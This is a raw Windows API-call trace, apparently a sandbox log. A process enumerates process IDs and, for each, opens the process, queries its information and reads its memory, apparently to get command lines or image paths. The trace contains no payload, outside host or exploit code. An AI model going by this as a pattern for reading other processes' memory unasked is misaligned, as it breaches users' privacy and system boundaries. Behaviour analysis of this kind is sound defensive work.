NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.718] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.719] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.719] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.719] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.719] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.719] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.719] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.719] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.720] malloc (_Size=0x60) returned 0xeb61c0 [0346.720] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e22b0, lpBuffer=0xeb61c0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0346.721] free (_Block=0xeb61c0) [0346.722] CloseHandle (hObject=0xa9c) returned 1 [0346.722] _ui64tow_s (in: _Value=0x1458, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5208") returned 0x0 [0346.722] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5208") returned 4 [0346.723] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.723] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.724] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1458) returned 0xa9c [0346.724] GetLastError () returned 0x0 [0346.724] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.724] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.724] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.724] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5926a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.724] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592258, lpBuffer=0x5ec5a0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.724] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.725] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.725] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.725] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.725] malloc (_Size=0x88) returned 0xe87790 [0346.725] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5922d8, lpBuffer=0xe87790, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87790*, lpNumberOfBytesRead=0x0) returned 1 [0346.726] free (_Block=0xe87790) [0346.726] CloseHandle (hObject=0xa9c) returned 1 [0346.727] _ui64tow_s (in: _Value=0x1474, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5236") returned 0x0 [0346.727] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5236") returned 4 [0346.727] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.727] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.728] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1474) returned 0xa9c [0346.728] GetLastError () returned 0x0 [0346.728] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2700, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.729] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.729] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.729] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.729] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.729] malloc (_Size=0xa8) returned 0xe956e0 [0346.729] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22f8, lpBuffer=0xe956e0, nSize=0xa6, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe956e0*, lpNumberOfBytesRead=0x0) returned 1 [0346.730] free (_Block=0xe956e0) [0346.731] CloseHandle (hObject=0xa9c) returned 1 [0346.731] _ui64tow_s (in: _Value=0x1480, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5248") returned 0x0 [0346.731] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5248") returned 4 [0346.731] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.731] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.732] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1480) returned 0xa9c [0346.732] GetLastError () returned 0x0 [0346.732] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.733] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.733] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.734] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.734] malloc (_Size=0x72) returned 0xea8ba0 [0346.734] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c2, lpBuffer=0xea8ba0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0346.735] free (_Block=0xea8ba0) [0346.735] CloseHandle (hObject=0xa9c) returned 1 [0346.735] _ui64tow_s (in: _Value=0x148c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5260") returned 0x0 [0346.736] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5260") returned 4 [0346.736] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.736] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.737] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148c) returned 0xa9c [0346.737] GetLastError () returned 0x0 [0346.737] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.738] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.738] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.738] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.738] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.738] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.738] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.739] malloc (_Size=0x62) returned 0xeb6150 [0346.739] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22b2, lpBuffer=0xeb6150, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0346.740] free (_Block=0xeb6150) [0346.740] CloseHandle (hObject=0xa9c) returned 1 [0346.753] _ui64tow_s (in: _Value=0x14cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5324") returned 0x0 [0346.753] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5324") returned 4 [0346.753] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.753] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.754] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14cc) returned 0xa9c [0346.754] GetLastError () returned 0x0 [0346.754] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.754] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.754] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.754] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.754] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.755] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.755] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.755] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.755] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.755] malloc (_Size=0x54) returned 0xeaa230 [0346.755] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22a4, lpBuffer=0xeaa230, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa230*, lpNumberOfBytesRead=0x0) returned 1 [0346.756] free (_Block=0xeaa230) [0346.756] CloseHandle (hObject=0xa9c) returned 1 [0346.756] _ui64tow_s (in: _Value=0x14d8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5336") returned 0x0 [0346.757] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5336") returned 4 [0346.757] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.757] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.758] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14d8) returned 0xa9c [0346.758] GetLastError () returned 0x0 [0346.758] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.758] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.758] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.758] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.758] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.758] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.759] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.759] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.759] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.759] malloc (_Size=0x72) returned 0xea8ba0 [0346.759] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5522c2, lpBuffer=0xea8ba0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0346.760] free (_Block=0xea8ba0) [0346.760] CloseHandle (hObject=0xa9c) returned 1 [0346.760] _ui64tow_s (in: _Value=0x14e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5352") returned 0x0 [0346.760] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5352") returned 4 [0346.760] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.760] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.761] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14e8) returned 0x0 [0346.761] CloseHandle (hObject=0x0) returned 0 [0346.762] _ui64tow_s (in: _Value=0x1520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5408") returned 0x0 [0346.762] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5408") returned 4 [0346.762] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.762] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.763] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1520) returned 0xa9c [0346.763] GetLastError () returned 0x0 [0346.763] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.763] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.763] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.763] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.763] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.764] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.764] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.764] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.764] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.764] malloc (_Size=0x68) returned 0xeb6700 [0346.764] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b22b8, lpBuffer=0xeb6700, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0346.765] free (_Block=0xeb6700) [0346.765] CloseHandle (hObject=0xa9c) returned 1 [0346.765] 